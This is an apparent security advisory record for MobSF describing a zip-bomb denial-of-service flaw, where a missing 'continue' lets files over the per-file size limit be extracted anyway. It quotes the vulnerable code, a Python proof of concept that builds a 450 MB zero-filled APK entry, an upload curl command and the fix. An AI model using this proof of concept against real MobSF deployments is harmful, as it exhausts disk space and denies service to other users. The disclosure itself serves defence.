{"id":"PYSEC-2026-3691","summary":"MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction","details":"### Summary\n\nWhen extracting uploaded ZIP/APK files, MobSF checks if individual files exceed `ZIP_MAX_UNCOMPRESSED_FILE_SIZE` (400 MB) and logs \"Skipping\" — but the code lacks a `continue` statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.\n\n### Verified Impact (Code Audit)\n\nThe vulnerable code path in `shared_func.py` lines 153–182:\n\n```python\n# Line 156: Size check\nif fileinfo.file_size \u003e settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:\n    size_mb = fileinfo.file_size / (1024 * 1024)\n    msg = (f'File too large ({size_mb:.2f} MB). Skipping '\n           f'{sanitize_for_logging(file_path)}')\n    logger.warning(msg)\n    # ← BUG: No 'continue' here! Execution falls through.\n\n# Line 161: Total size check (separate)\nif total_size \u003e settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:\n    raise Exception(msg)\n\n# Line 171-178: Permission fixing (only dirs get 'continue')\nif fileinfo.is_dir():\n    continue\nelse:\n    fileinfo.external_attr = ...\n\n# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES\ntry:\n    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check\n```\n\nThe control flow is clear: after the size check logs \"Skipping\", no `continue` or `break` is issued. The code proceeds to line 182 which extracts the file unconditionally.\n\n### Steps to Reproduce\n\n**1.** Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):\n\n```python\n#!/usr/bin/env python3\nimport zipfile, tempfile, os\n\noutput = tempfile.mktemp(suffix='.apk')\nwith zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr('AndroidManifest.xml', '\u003cmanifest package=\"com.poc\"/\u003e')\n    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB\n    info = zipfile.ZipInfo('assets/huge.bin')\n    info.compress_type = zipfile.ZIP_DEFLATED\n    with zf.open(info, 'w') as f:\n        for _ in range(450):\n            f.write(b'\\x00' * (1024 * 1024))  # 1 MB at a time\n\nprint(f\"Created: {output} ({os.path.getsize(output)} bytes compressed)\")\n```\n\n**2.** Upload via API:\n\n```bash\ncurl -X POST http://127.0.0.1:8000/api/v1/upload \\\n  -H \"X-Mobsf-Api-Key: YOUR_KEY\" \\\n  -F \"file=@poc.apk\"\n```\n\n**3.** Trigger scan, then verify:\n\n```bash\n# Log says \"Skipping\" but file exists on disk:\ngrep \"File too large\" ~/.MobSF/debug.log\nls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there\n```\n\n### Why This Is Not a Self-Bug\n\n- This affects any user who scans a maliciously crafted APK\n- The APK could come from a legitimate-looking package submitted for security review\n- Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected \u003c=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists\n- Impact: disk exhaustion preventing further scans for other users\n\n### Remediation\n\nAdd `continue` after the size warning:\n\n```python\nif fileinfo.file_size \u003e settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:\n    size_mb = fileinfo.file_size / (1024 * 1024)\n    msg = (f'File too large ({size_mb:.2f} MB). Skipping '\n           f'{sanitize_for_logging(file_path)}')\n    logger.warning(msg)\n    continue  # ← ADD THIS LINE\n```","aliases":["CVE-2026-68924","GHSA-x768-8642-mmq9"],"modified":"2026-08-19T12:45:11.177954362Z","published":"2026-08-19T11:56:27.628217Z","references":[{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-x768-8642-mmq9"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"},{"type":"PACKAGE","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"},{"type":"PACKAGE","url":"https://pypi.org/project/mobsf"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x768-8642-mmq9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68924"}],"affected":[{"package":{"name":"mobsf","ecosystem":"PyPI","purl":"pkg:pypi/mobsf"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.1"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0","4.4.2","4.4.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/mobsf/PYSEC-2026-3691.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"}]}